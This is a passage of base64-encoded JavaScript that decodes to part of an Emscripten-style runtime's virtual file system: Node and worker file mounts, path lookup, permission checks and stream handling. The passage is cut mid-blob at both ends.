3luYyhzdHJlYW0ubmZkLG5idWZmZXIsMCxsZW5ndGgscG9zaXRpb24pfWNhdGNoKGUpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTW2UuY29kZV0pfWlmKHJlcz4wKXtmb3IodmFyXHgyMGk9MDtpPHJlcztpKyspe2J1ZmZlcltvZmZzZXQraV09bmJ1ZmZlcltpXX19cmV0dXJuXHgyMHJlc30pLHdyaXRlOihmdW5jdGlvbihzdHJlYW0sYnVmZmVyLG9mZnNldCxsZW5ndGgscG9zaXRpb24pe3Zhclx4MjBuYnVmZmVyPW5ld1x4MjBCdWZmZXIoYnVmZmVyLnN1YmFycmF5KG9mZnNldCxvZmZzZXQrbGVuZ3RoKSk7dmFyXHgyMHJlczt0cnl7cmVzPWZzLndyaXRlU3luYyhzdHJlYW0ubmZkLG5idWZmZXIsMCxsZW5ndGgscG9zaXRpb24pfWNhdGNoKGUpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTW2UuY29kZV0pfXJldHVyblx4MjByZXN9KSxsbHNlZWs6KGZ1bmN0aW9uKHN0cmVhbSxvZmZzZXQsd2hlbmNlKXt2YXJceDIwcG9zaXRpb249b2Zmc2V0O2lmKHdoZW5jZT09PTEpe3Bvc2l0aW9uKz1zdHJlYW0ucG9zaXRpb259ZWxzZVx4MjBpZih3aGVuY2U9PT0yKXtpZihGUy5pc0ZpbGUoc3RyZWFtLm5vZGUubW9kZSkpe3RyeXt2YXJceDIwc3RhdD1mcy5mc3RhdFN5bmMoc3RyZWFtLm5mZCk7cG9zaXRpb24rPXN0YXQuc2l6ZX1jYXRjaChlKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFU1tlLmNvZGVdKX19fWlmKHBvc2l0aW9uPDApe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVJTlZBTCl9cmV0dXJuXHgyMHBvc2l0aW9ufSl9fTt2YXJceDIwV09SS0VSRlM9e0RJUl9NT0RFOjE2ODk1LEZJTEVfTU9ERTozMzI3OSxyZWFkZXI6bnVsbCxtb3VudDooZnVuY3Rpb24obW91bnQpe2Fzc2VydChFTlZJUk9OTUVOVF9JU19XT1JLRVIpO2lmKCFXT1JLRVJGUy5yZWFkZXIpV09SS0VSRlMucmVhZGVyPW5ld1x4MjBGaWxlUmVhZGVyU3luYzt2YXJceDIwcm9vdD1XT1JLRVJGUy5jcmVhdGVOb2RlKG51bGwsXHgyMi9ceDIyLFdPUktFUkZTLkRJUl9NT0RFLDApO3Zhclx4MjBjcmVhdGVkUGFyZW50cz17fTtmdW5jdGlvblx4MjBlbnN1cmVQYXJlbnQocGF0aCl7dmFyXHgyMHBhcnRzPXBhdGguc3BsaXQoXHgyMi9ceDIyKTt2YXJceDIwcGFyZW50PXJvb3Q7Zm9yKHZhclx4MjBpPTA7aTxwYXJ0cy5sZW5ndGgtMTtpKyspe3Zhclx4MjBjdXJyPXBhcnRzLnNsaWNlKDAsaSsxKS5qb2luKFx4MjIvXHgyMik7aWYoIWNyZWF0ZWRQYXJlbnRzW2N1cnJdKXtjcmVhdGVkUGFyZW50c1tjdXJyXT1XT1JLRVJGUy5jcmVhdGVOb2RlKHBhcmVudCxwYXJ0c1tpXSxXT1JLRVJGUy5ESVJfTU9ERSwwKX1wYXJlbnQ9Y3JlYXRlZFBhcmVudHNbY3Vycl19cmV0dXJuXHgyMHBhcmVudH1mdW5jdGlvblx4MjBiYXNlKHBhdGgpe3Zhclx4MjBwYXJ0cz1wYXRoLnNwbGl0KFx4MjIvXHgyMik7cmV0dXJuXHgyMHBhcnRzW3BhcnRzLmxlbmd0aC0xXX1BcnJheS5wcm90b3R5cGUuZm9yRWFjaC5jYWxsKG1vdW50Lm9wdHNbXHgyMmZpbGVzXHgyMl18fFtdLChmdW5jdGlvbihmaWxlKXtXT1JLRVJGUy5jcmVhdGVOb2RlKGVuc3VyZVBhcmVudChmaWxlLm5hbWUpLGJhc2UoZmlsZS5uYW1lKSxXT1JLRVJGUy5GSUxFX01PREUsMCxmaWxlLGZpbGUubGFzdE1vZGlmaWVkRGF0ZSl9KSk7KG1vdW50Lm9wdHNbXHgyMmJsb2JzXHgyMl18fFtdKS5mb3JFYWNoKChmdW5jdGlvbihvYmope1dPUktFUkZTLmNyZWF0ZU5vZGUoZW5zdXJlUGFyZW50KG9ialtceDIybmFtZVx4MjJdKSxiYXNlKG9ialtceDIybmFtZVx4MjJdKSxXT1JLRVJGUy5GSUxFX01PREUsMCxvYmpbXHgyMmRhdGFceDIyXSl9KSk7KG1vdW50Lm9wdHNbXHgyMnBhY2thZ2VzXHgyMl18fFtdKS5mb3JFYWNoKChmdW5jdGlvbihwYWNrKXtwYWNrW1x4MjJtZXRhZGF0YVx4MjJdLmZpbGVzLmZvckVhY2goKGZ1bmN0aW9uKGZpbGUpe3Zhclx4MjBuYW1lPWZpbGUuZmlsZW5hbWUuc3Vic3RyKDEpO1dPUktFUkZTLmNyZWF0ZU5vZGUoZW5zdXJlUGFyZW50KG5hbWUpLGJhc2UobmFtZSksV09SS0VSRlMuRklMRV9NT0RFLDAscGFja1tceDIyYmxvYlx4MjJdLnNsaWNlKGZpbGUuc3RhcnQsZmlsZS5lbmQpKX0pKX0pKTtyZXR1cm5ceDIwcm9vdH0pLGNyZWF0ZU5vZGU6KGZ1bmN0aW9uKHBhcmVudCxuYW1lLG1vZGUsZGV2LGNvbnRlbnRzLG10aW1lKXt2YXJceDIwbm9kZT1GUy5jcmVhdGVOb2RlKHBhcmVudCxuYW1lLG1vZGUpO25vZGUubW9kZT1tb2RlO25vZGUubm9kZV9vcHM9V09SS0VSRlMubm9kZV9vcHM7bm9kZS5zdHJlYW1fb3BzPVdPUktFUkZTLnN0cmVhbV9vcHM7bm9kZS50aW1lc3RhbXA9KG10aW1lfHxuZXdceDIwRGF0ZSkuZ2V0VGltZSgpO2Fzc2VydChXT1JLRVJGUy5GSUxFX01PREUhPT1XT1JLRVJGUy5ESVJfTU9ERSk7aWYobW9kZT09PVdPUktFUkZTLkZJTEVfTU9ERSl7bm9kZS5zaXplPWNvbnRlbnRzLnNpemU7bm9kZS5jb250ZW50cz1jb250ZW50c31lbHNle25vZGUuc2l6ZT00MDk2O25vZGUuY29udGVudHM9e319aWYocGFyZW50KXtwYXJlbnQuY29udGVudHNbbmFtZV09bm9kZX1yZXR1cm5ceDIwbm9kZX0pLG5vZGVfb3BzOntnZXRhdHRyOihmdW5jdGlvbihub2RlKXtyZXR1cm57ZGV2OjEsaW5vOnVuZGVmaW5lZCxtb2RlOm5vZGUubW9kZSxubGluazoxLHVpZDowLGdpZDowLHJkZXY6dW5kZWZpbmVkLHNpemU6bm9kZS5zaXplLGF0aW1lOm5ld1x4MjBEYXRlKG5vZGUudGltZXN0YW1wKSxtdGltZTpuZXdceDIwRGF0ZShub2RlLnRpbWVzdGFtcCksY3RpbWU6bmV3XHgyMERhdGUobm9kZS50aW1lc3RhbXApLGJsa3NpemU6NDA5NixibG9ja3M6TWF0aC5jZWlsKG5vZGUuc2l6ZS80MDk2KX19KSxzZXRhdHRyOihmdW5jdGlvbihub2RlLGF0dHIpe2lmKGF0dHIubW9kZSE9PXVuZGVmaW5lZCl7bm9kZS5tb2RlPWF0dHIubW9kZX1pZihhdHRyLnRpbWVzdGFtcCE9PXVuZGVmaW5lZCl7bm9kZS50aW1lc3RhbXA9YXR0ci50aW1lc3RhbXB9fSksbG9va3VwOihmdW5jdGlvbihwYXJlbnQsbmFtZSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRU5PRU5UKX0pLG1rbm9kOihmdW5jdGlvbihwYXJlbnQsbmFtZSxtb2RlLGRldil7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRVBFUk0pfSkscmVuYW1lOihmdW5jdGlvbihvbGROb2RlLG5ld0RpcixuZXdOYW1lKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FUEVSTSl9KSx1bmxpbms6KGZ1bmN0aW9uKHBhcmVudCxuYW1lKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FUEVSTSl9KSxybWRpcjooZnVuY3Rpb24ocGFyZW50LG5hbWUpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVQRVJNKX0pLHJlYWRkaXI6KGZ1bmN0aW9uKG5vZGUpe3Zhclx4MjBlbnRyaWVzPVtceDIyLlx4MjIsXHgyMi4uXHgyMl07Zm9yKHZhclx4MjBrZXlceDIwaW5ceDIwbm9kZS5jb250ZW50cyl7aWYoIW5vZGUuY29udGVudHMuaGFzT3duUHJvcGVydHkoa2V5KSl7Y29udGludWV9ZW50cmllcy5wdXNoKGtleSl9cmV0dXJuXHgyMGVudHJpZXN9KSxzeW1saW5rOihmdW5jdGlvbihwYXJlbnQsbmV3TmFtZSxvbGRQYXRoKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FUEVSTSl9KSxyZWFkbGluazooZnVuY3Rpb24obm9kZSl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRVBFUk0pfSl9LHN0cmVhbV9vcHM6e3JlYWQ6KGZ1bmN0aW9uKHN0cmVhbSxidWZmZXIsb2Zmc2V0LGxlbmd0aCxwb3NpdGlvbil7aWYocG9zaXRpb24+PXN0cmVhbS5ub2RlLnNpemUpcmV0dXJuXHgyMDA7dmFyXHgyMGNodW5rPXN0cmVhbS5ub2RlLmNvbnRlbnRzLnNsaWNlKHBvc2l0aW9uLHBvc2l0aW9uK2xlbmd0aCk7dmFyXHgyMGFiPVdPUktFUkZTLnJlYWRlci5yZWFkQXNBcnJheUJ1ZmZlcihjaHVuayk7YnVmZmVyLnNldChuZXdceDIwVWludDhBcnJheShhYiksb2Zmc2V0KTtyZXR1cm5ceDIwY2h1bmsuc2l6ZX0pLHdyaXRlOihmdW5jdGlvbihzdHJlYW0sYnVmZmVyLG9mZnNldCxsZW5ndGgscG9zaXRpb24pe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKEVSUk5PX0NPREVTLkVJTyl9KSxsbHNlZWs6KGZ1bmN0aW9uKHN0cmVhbSxvZmZzZXQsd2hlbmNlKXt2YXJceDIwcG9zaXRpb249b2Zmc2V0O2lmKHdoZW5jZT09PTEpe3Bvc2l0aW9uKz1zdHJlYW0ucG9zaXRpb259ZWxzZVx4MjBpZih3aGVuY2U9PT0yKXtpZihGUy5pc0ZpbGUoc3RyZWFtLm5vZGUubW9kZSkpe3Bvc2l0aW9uKz1zdHJlYW0ubm9kZS5zaXplfX1pZihwb3NpdGlvbjwwKXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FSU5WQUwpfXJldHVyblx4MjBwb3NpdGlvbn0pfX07U1RBVElDVE9QKz0xNjtTVEFUSUNUT1ArPTE2O1NUQVRJQ1RPUCs9MTY7dmFyXHgyMEZTPXtyb290Om51bGwsbW91bnRzOltdLGRldmljZXM6W251bGxdLHN0cmVhbXM6W10sbmV4dElub2RlOjEsbmFtZVRhYmxlOm51bGwsY3VycmVudFBhdGg6XHgyMi9ceDIyLGluaXRpYWxpemVkOmZhbHNlLGlnbm9yZVBlcm1pc3Npb25zOnRydWUsdHJhY2tpbmdEZWxlZ2F0ZTp7fSx0cmFja2luZzp7b3BlbkZsYWdzOntSRUFEOjEsV1JJVEU6Mn19LEVycm5vRXJyb3I6bnVsbCxnZW5lcmljRXJyb3JzOnt9LGZpbGVzeXN0ZW1zOm51bGwsc3luY0ZTUmVxdWVzdHM6MCxoYW5kbGVGU0Vycm9yOihmdW5jdGlvbihlKXtpZighKGVceDIwaW5zdGFuY2VvZlx4MjBGUy5FcnJub0Vycm9yKSl0aHJvd1x4MjBlK1x4MjJceDIwOlx4MjBceDIyK3N0YWNrVHJhY2UoKTtyZXR1cm5ceDIwX19fc2V0RXJyTm8oZS5lcnJubyl9KSxsb29rdXBQYXRoOihmdW5jdGlvbihwYXRoLG9wdHMpe3BhdGg9UEFUSC5yZXNvbHZlKEZTLmN3ZCgpLHBhdGgpO29wdHM9b3B0c3x8e307aWYoIXBhdGgpcmV0dXJue3BhdGg6XHgyMlx4MjIsbm9kZTpudWxsfTt2YXJceDIwZGVmYXVsdHM9e2ZvbGxvd19tb3VudDp0cnVlLHJlY3Vyc2VfY291bnQ6MH07Zm9yKHZhclx4MjBrZXlceDIwaW5ceDIwZGVmYXVsdHMpe2lmKG9wdHNba2V5XT09PXVuZGVmaW5lZCl7b3B0c1trZXldPWRlZmF1bHRzW2tleV19fWlmKG9wdHMucmVjdXJzZV9jb3VudD44KXt0aHJvd1x4MjBuZXdceDIwRlMuRXJybm9FcnJvcihFUlJOT19DT0RFUy5FTE9PUCl9dmFyXHgyMHBhcnRzPVBBVEgubm9ybWFsaXplQXJyYXkocGF0aC5zcGxpdChceDIyL1x4MjIpLmZpbHRlcigoZnVuY3Rpb24ocCl7cmV0dXJuISFwfSkpLGZhbHNlKTt2YXJceDIwY3VycmVudD1GUy5yb290O3Zhclx4MjBjdXJyZW50X3BhdGg9XHgyMi9ceDIyO2Zvcih2YXJceDIwaT0wO2k8cGFydHMubGVuZ3RoO2krKyl7dmFyXHgyMGlzbGFzdD1pPT09cGFydHMubGVuZ3RoLTE7aWYoaXNsYXN0JiZvcHRzLnBhcmVudCl7YnJlYWt9Y3VycmVudD1GUy5sb29rdXBOb2RlKGN1cnJlbnQscGFydHNbaV0pO2N1cnJlbnRfcGF0aD1QQVRILmpvaW4yKGN1cnJlbnRfcGF0aCxwYXJ0c1tpXSk7aWYoRlMuaXNNb3VudHBvaW50KGN1cnJlbnQpKXtpZighaXNsYXN0fHxpc2xhc3QmJm9wdHMuZm9sbG93X21vdW50KXtjdXJyZW50PWN1cnJlbnQubW91bnRlZC5yb290fX1pZighaXNsYXN0fHxvcHRzLmZvbGxvdyl7dmFyXHgyMGNvdW50PTA7d2hpbGUoRlMuaXNMaW5rKGN1cnJlbnQubW9kZSkpe3Zhclx4MjBsaW5rPUZTLnJlYWRsaW5rKGN1cnJlbnRfcGF0aCk7Y3VycmVudF9wYXRoPVBBVEgucmVzb2x2ZShQQVRILmRpcm5hbWUoY3VycmVudF9wYXRoKSxsaW5rKTt2YXJceDIwbG9va3VwPUZTLmxvb2t1cFBhdGgoY3VycmVudF9wYXRoLHtyZWN1cnNlX2NvdW50Om9wdHMucmVjdXJzZV9jb3VudH0pO2N1cnJlbnQ9bG9va3VwLm5vZGU7aWYoY291bnQrKz40MCl7dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRUxPT1ApfX19fXJldHVybntwYXRoOmN1cnJlbnRfcGF0aCxub2RlOmN1cnJlbnR9fSksZ2V0UGF0aDooZnVuY3Rpb24obm9kZSl7dmFyXHgyMHBhdGg7d2hpbGUodHJ1ZSl7aWYoRlMuaXNSb290KG5vZGUpKXt2YXJceDIwbW91bnQ9bm9kZS5tb3VudC5tb3VudHBvaW50O2lmKCFwYXRoKXJldHVyblx4MjBtb3VudDtyZXR1cm5ceDIwbW91bnRbbW91bnQubGVuZ3RoLTFdIT09XHgyMi9ceDIyP21vdW50K1x4MjIvXHgyMitwYXRoOm1vdW50K3BhdGh9cGF0aD1wYXRoP25vZGUubmFtZStceDIyL1x4MjIrcGF0aDpub2RlLm5hbWU7bm9kZT1ub2RlLnBhcmVudH19KSxoYXNoTmFtZTooZnVuY3Rpb24ocGFyZW50aWQsbmFtZSl7dmFyXHgyMGhhc2g9MDtmb3IodmFyXHgyMGk9MDtpPG5hbWUubGVuZ3RoO2krKyl7aGFzaD0oaGFzaDw8NSktaGFzaCtuYW1lLmNoYXJDb2RlQXQoaSl8MH1yZXR1cm4ocGFyZW50aWQraGFzaD4+PjApJUZTLm5hbWVUYWJsZS5sZW5ndGh9KSxoYXNoQWRkTm9kZTooZnVuY3Rpb24obm9kZSl7dmFyXHgyMGhhc2g9RlMuaGFzaE5hbWUobm9kZS5wYXJlbnQuaWQsbm9kZS5uYW1lKTtub2RlLm5hbWVfbmV4dD1GUy5uYW1lVGFibGVbaGFzaF07RlMubmFtZVRhYmxlW2hhc2hdPW5vZGV9KSxoYXNoUmVtb3ZlTm9kZTooZnVuY3Rpb24obm9kZSl7dmFyXHgyMGhhc2g9RlMuaGFzaE5hbWUobm9kZS5wYXJlbnQuaWQsbm9kZS5uYW1lKTtpZihGUy5uYW1lVGFibGVbaGFzaF09PT1ub2RlKXtGUy5uYW1lVGFibGVbaGFzaF09bm9kZS5uYW1lX25leHR9ZWxzZXt2YXJceDIwY3VycmVudD1GUy5uYW1lVGFibGVbaGFzaF07d2hpbGUoY3VycmVudCl7aWYoY3VycmVudC5uYW1lX25leHQ9PT1ub2RlKXtjdXJyZW50Lm5hbWVfbmV4dD1ub2RlLm5hbWVfbmV4dDticmVha31jdXJyZW50PWN1cnJlbnQubmFtZV9uZXh0fX19KSxsb29rdXBOb2RlOihmdW5jdGlvbihwYXJlbnQsbmFtZSl7dmFyXHgyMGVycj1GUy5tYXlMb29rdXAocGFyZW50KTtpZihlcnIpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0Vycm9yKGVycixwYXJlbnQpfXZhclx4MjBoYXNoPUZTLmhhc2hOYW1lKHBhcmVudC5pZCxuYW1lKTtmb3IodmFyXHgyMG5vZGU9RlMubmFtZVRhYmxlW2hhc2hdO25vZGU7bm9kZT1ub2RlLm5hbWVfbmV4dCl7dmFyXHgyMG5vZGVOYW1lPW5vZGUubmFtZTtpZihub2RlLnBhcmVudC5pZD09PXBhcmVudC5pZCYmbm9kZU5hbWU9PT1uYW1lKXtyZXR1cm5ceDIwbm9kZX19cmV0dXJuXHgyMEZTLmxvb2t1cChwYXJlbnQsbmFtZSl9KSxjcmVhdGVOb2RlOihmdW5jdGlvbihwYXJlbnQsbmFtZSxtb2RlLHJkZXYpe2lmKCFGUy5GU05vZGUpe0ZTLkZTTm9kZT0oZnVuY3Rpb24ocGFyZW50LG5hbWUsbW9kZSxyZGV2KXtpZighcGFyZW50KXtwYXJlbnQ9dGhpc310aGlzLnBhcmVudD1wYXJlbnQ7dGhpcy5tb3VudD1wYXJlbnQubW91bnQ7dGhpcy5tb3VudGVkPW51bGw7dGhpcy5pZD1GUy5uZXh0SW5vZGUrKzt0aGlzLm5hbWU9bmFtZTt0aGlzLm1vZGU9bW9kZTt0aGlzLm5vZGVfb3BzPXt9O3RoaXMuc3RyZWFtX29wcz17fTt0aGlzLnJkZXY9cmRldn0pO0ZTLkZTTm9kZS5wcm90b3R5cGU9e307dmFyXHgyMHJlYWRNb2RlPTI5Mnw3Mzt2YXJceDIwd3JpdGVNb2RlPTE0NjtPYmplY3QuZGVmaW5lUHJvcGVydGllcyhGUy5GU05vZGUucHJvdG90eXBlLHtyZWFkOntnZXQ6KGZ1bmN0aW9uKCl7cmV0dXJuKHRoaXMubW9kZSZyZWFkTW9kZSk9PT1yZWFkTW9kZX0pLHNldDooZnVuY3Rpb24odmFsKXt2YWw/dGhpcy5tb2RlfD1yZWFkTW9kZTp0aGlzLm1vZGUmPX5yZWFkTW9kZX0pfSx3cml0ZTp7Z2V0OihmdW5jdGlvbigpe3JldHVybih0aGlzLm1vZGUmd3JpdGVNb2RlKT09PXdyaXRlTW9kZX0pLHNldDooZnVuY3Rpb24odmFsKXt2YWw/dGhpcy5tb2RlfD13cml0ZU1vZGU6dGhpcy5tb2RlJj1+d3JpdGVNb2RlfSl9LGlzRm9sZGVyOntnZXQ6KGZ1bmN0aW9uKCl7cmV0dXJuXHgyMEZTLmlzRGlyKHRoaXMubW9kZSl9KX0saXNEZXZpY2U6e2dldDooZnVuY3Rpb24oKXtyZXR1cm5ceDIwRlMuaXNDaHJkZXYodGhpcy5tb2RlKX0pfX0pfXZhclx4MjBub2RlPW5ld1x4MjBGUy5GU05vZGUocGFyZW50LG5hbWUsbW9kZSxyZGV2KTtGUy5oYXNoQWRkTm9kZShub2RlKTtyZXR1cm5ceDIwbm9kZX0pLGRlc3Ryb3lOb2RlOihmdW5jdGlvbihub2RlKXtGUy5oYXNoUmVtb3ZlTm9kZShub2RlKX0pLGlzUm9vdDooZnVuY3Rpb24obm9kZSl7cmV0dXJuXHgyMG5vZGU9PT1ub2RlLnBhcmVudH0pLGlzTW91bnRwb2ludDooZnVuY3Rpb24obm9kZSl7cmV0dXJuISFub2RlLm1vdW50ZWR9KSxpc0ZpbGU6KGZ1bmN0aW9uKG1vZGUpe3JldHVybihtb2RlJjYxNDQwKT09PTMyNzY4fSksaXNEaXI6KGZ1bmN0aW9uKG1vZGUpe3JldHVybihtb2RlJjYxNDQwKT09PTE2Mzg0fSksaXNMaW5rOihmdW5jdGlvbihtb2RlKXtyZXR1cm4obW9kZSY2MTQ0MCk9PT00MDk2MH0pLGlzQ2hyZGV2OihmdW5jdGlvbihtb2RlKXtyZXR1cm4obW9kZSY2MTQ0MCk9PT04MTkyfSksaXNCbGtkZXY6KGZ1bmN0aW9uKG1vZGUpe3JldHVybihtb2RlJjYxNDQwKT09PTI0NTc2fSksaXNGSUZPOihmdW5jdGlvbihtb2RlKXtyZXR1cm4obW9kZSY2MTQ0MCk9PT00MDk2fSksaXNTb2NrZXQ6KGZ1bmN0aW9uKG1vZGUpe3JldHVybihtb2RlJjQ5MTUyKT09PTQ5MTUyfSksZmxhZ01vZGVzOntceDIyclx4MjI6MCxceDIycnNceDIyOjEwNTI2NzIsXHgyMnIrXHgyMjoyLFx4MjJ3XHgyMjo1NzcsXHgyMnd4XHgyMjo3MDUsXHgyMnh3XHgyMjo3MDUsXHgyMncrXHgyMjo1NzgsXHgyMnd4K1x4MjI6NzA2LFx4MjJ4dytceDIyOjcwNixceDIyYVx4MjI6MTA4OSxceDIyYXhceDIyOjEyMTcsXHgyMnhhXHgyMjoxMjE3LFx4MjJhK1x4MjI6MTA5MCxceDIyYXgrXHgyMjoxMjE4LFx4MjJ4YStceDIyOjEyMTh9LG1vZGVTdHJpbmdUb0ZsYWdzOihmdW5jdGlvbihzdHIpe3Zhclx4MjBmbGFncz1GUy5mbGFnTW9kZXNbc3RyXTtpZih0eXBlb2ZceDIwZmxhZ3M9PT1ceDIydW5kZWZpbmVkXHgyMil7dGhyb3dceDIwbmV3XHgyMEVycm9yKFx4MjJVbmtub3duXHgyMGZpbGVceDIwb3Blblx4MjBtb2RlOlx4MjBceDIyK3N0cil9cmV0dXJuXHgyMGZsYWdzfSksZmxhZ3NUb1Blcm1pc3Npb25TdHJpbmc6KGZ1bmN0aW9uKGZsYWcpe3Zhclx4MjBwZXJtcz1bXHgyMnJceDIyLFx4MjJ3XHgyMixceDIycndceDIyXVtmbGFnJjNdO2lmKGZsYWcmNTEyKXtwZXJtcys9XHgyMndceDIyfXJldHVyblx4MjBwZXJtc30pLG5vZGVQZXJtaXNzaW9uczooZnVuY3Rpb24obm9kZSxwZXJtcyl7aWYoRlMuaWdub3JlUGVybWlzc2lvbnMpe3JldHVyblx4MjAwfWlmKHBlcm1zLmluZGV4T2YoXHgyMnJceDIyKSE9PS0xJiYhKG5vZGUubW9kZSYyOTIpKXtyZXR1cm5ceDIwRVJSTk9fQ09ERVMuRUFDQ0VTfWVsc2VceDIwaWYocGVybXMuaW5kZXhPZihceDIyd1x4MjIpIT09LTEmJiEobm9kZS5tb2RlJjE0Nikpe3JldHVyblx4MjBFUlJOT19DT0RFUy5FQUNDRVN9ZWxzZVx4MjBpZihwZXJtcy5pbmRleE9mKFx4MjJ4XHgyMikhPT0tMSYmIShub2RlLm1vZGUmNzMpKXtyZXR1cm5ceDIwRVJSTk9fQ09ERVMuRUFDQ0VTfXJldHVyblx4MjAwfSksbWF5TG9va3VwOihmdW5jdGlvbihkaXIpe3Zhclx4MjBlcnI9RlMubm9kZVBlcm1pc3Npb25zKGRpcixceDIyeFx4MjIpO2lmKGVycilyZXR1cm5ceDIwZXJyO2lmKCFkaXIubm9kZV9vcHMubG9va3VwKXJldHVyblx4MjBFUlJOT19DT0RFUy5FQUNDRVM7cmV0dXJuXHgyMDB9KSxtYXlDcmVhdGU6KGZ1bmN0aW9uKGRpcixuYW1lKXt0cnl7dmFyXHgyMG5vZGU9RlMubG9va3VwTm9kZShkaXIsbmFtZSk7cmV0dXJuXHgyMEVSUk5PX0NPREVTLkVFWElTVH1jYXRjaChlKXt9cmV0dXJuXHgyMEZTLm5vZGVQZXJtaXNzaW9ucyhkaXIsXHgyMnd4XHgyMil9KSxtYXlEZWxldGU6KGZ1bmN0aW9uKGRpcixuYW1lLGlzZGlyKXt2YXJceDIwbm9kZTt0cnl7bm9kZT1GUy5sb29rdXBOb2RlKGRpcixuYW1lKX1jYXRjaChlKXtyZXR1cm5ceDIwZS5lcnJub312YXJceDIwZXJyPUZTLm5vZGVQZXJtaXNzaW9ucyhkaXIsXHgyMnd4XHgyMik7aWYoZXJyKXtyZXR1cm5ceDIwZXJyfWlmKGlzZGlyKXtpZighRlMuaXNEaXIobm9kZS5tb2RlKSl7cmV0dXJuXHgyMEVSUk5PX0NPREVTLkVOT1RESVJ9aWYoRlMuaXNSb290KG5vZGUpfHxGUy5nZXRQYXRoKG5vZGUpPT09RlMuY3dkKCkpe3JldHVyblx4MjBFUlJOT19DT0RFUy5FQlVTWX19ZWxzZXtpZihGUy5pc0Rpcihub2RlLm1vZGUpKXtyZXR1cm5ceDIwRVJSTk9fQ09ERVMuRUlTRElSfX1yZXR1cm5ceDIwMH0pLG1heU9wZW46KGZ1bmN0aW9uKG5vZGUsZmxhZ3Mpe2lmKCFub2RlKXtyZXR1cm5ceDIwRVJSTk9fQ09ERVMuRU5PRU5UfWlmKEZTLmlzTGluayhub2RlLm1vZGUpKXtyZXR1cm5ceDIwRVJSTk9fQ09ERVMuRUxPT1B9ZWxzZVx4MjBpZihGUy5pc0Rpcihub2RlLm1vZGUpKXtpZihGUy5mbGFnc1RvUGVybWlzc2lvblN0cmluZyhmbGFncykhPT1ceDIyclx4MjJ8fGZsYWdzJjUxMil7cmV0dXJuXHgyMEVSUk5PX0NPREVTLkVJU0RJUn19cmV0dXJuXHgyMEZTLm5vZGVQZXJtaXNzaW9ucyhub2RlLEZTLmZsYWdzVG9QZXJtaXNzaW9uU3RyaW5nKGZsYWdzKSl9KSxNQVhfT1BFTl9GRFM6NDA5NixuZXh0ZmQ6KGZ1bmN0aW9uKGZkX3N0YXJ0LGZkX2VuZCl7ZmRfc3RhcnQ9ZmRfc3RhcnR8fDA7ZmRfZW5kPWZkX2VuZHx8RlMuTUFYX09QRU5fRkRTO2Zvcih2YXJceDIwZmQ9ZmRfc3RhcnQ7ZmQ8PWZkX2VuZDtmZCsrKXtpZighRlMuc3RyZWFtc1tmZF0pe3JldHVyblx4MjBmZH19dGhyb3dceDIwbmV3XHgyMEZTLkVycm5vRXJyb3IoRVJSTk9fQ09ERVMuRU1GSUxFKX0pLGdldFN0cmVhbTooZnVuY3Rpb24oZmQpe3JldHVyblx4MjBGUy5zdHJlYW1zW2ZkXX0pLGNyZWF0ZVN0cmVhbTooZnVuY3Rpb24oc3RyZWFtLGZkX3N0YXJ0LGZkX2VuZCl7aWYoIUZTLkZTU3RyZWFtKXtGUy5GU1N0cmVhbT0oZnVuY3Rpb24oKXt9KTtGUy5GU1N0cmVhbS5wcm90b3R5cGU9e307T2JqZWN0LmRlZmluZVByb3BlcnRpZXMoRlMuRlNTdHJlYW0ucHJvdG90eXBlLHtvYmplY3Q6e2dldDooZnVuY3Rpb24oKXtyZXR1cm5ceDIwdGhpcy5ub2RlfSksc2V0OihmdW5jdGlvbih2YWwpe3RoaXMubm9kZT12YWx9KX0saXNSZWFkOntnZXQ6KGZ1bmN0aW9uKCl7cmV0dXJuKHRoaXMuZmxhZ3MmMjA5NzE1NSkhPT0xfSl9LGlzV3JpdGU6e2dldDooZnVuY3Rpb24oKXtyZXR1cm4odGhpcy5mbGFncyYyMDk3MTU1KSE9PTB9KX0saXNBcHBlbmQ6e2dldDooZnVuY3Rpb24oKXtyZXR1cm5ceDIwdGhpcy5mbGFncyYxMDI0fSl9fSl9dmFyXHgyMG5ld1N0cmVhbT1uZXdceDIwRlMuRlNTdHJlYW07Zm9yKHZhclx4MjBwXHgyMGluXHgyMHN0cmVhbSl7bmV3U3RyZWFtW3BdPXN0cmVhbVtwXX1zdHJlYW09bmV3U3RyZWFtO3Zhclx4MjBmZD1GUy5uZXh0ZmQoZmRfc3RhcnQsZmRfZW5kKTtzdHJlYW0uZmQ9ZmQ7RlMuc3RyZWFtc1tmZF09c3RyZWFtO3JldHVyblx4MjBzdHJlYW19KSxjbG9zZVN0cmVhbTooZnVuY3Rpb24oZmQpe0ZTLnN0cmVhbXNbZmRdPW51bGx9KSxjaHJkZXZfc3RyZWFtX29wczp7b3BlbjooZnVuY3Rpb24oc3RyZWFtKXt2YXJceDIwZGV2aWNlPUZTLmdldERldmljZShzdHJlYW0ubm9kZS5yZGV2KTtzdHJlYW0uc3RyZWFtX29wcz1kZXZpY2Uuc3RyZWFtX29wcztpZihzdHJlYW0uc3RyZWFtX29wcy5vcGVuKXtzdHJlYW0uc3RyZWFtX29wcy5vcGVuKHN0cmVhbSl9fSksbGxzZWVrOihmdW5jdGlvbigpe3Rocm93XHgyMG5ld1x4MjBGUy5FcnJub0V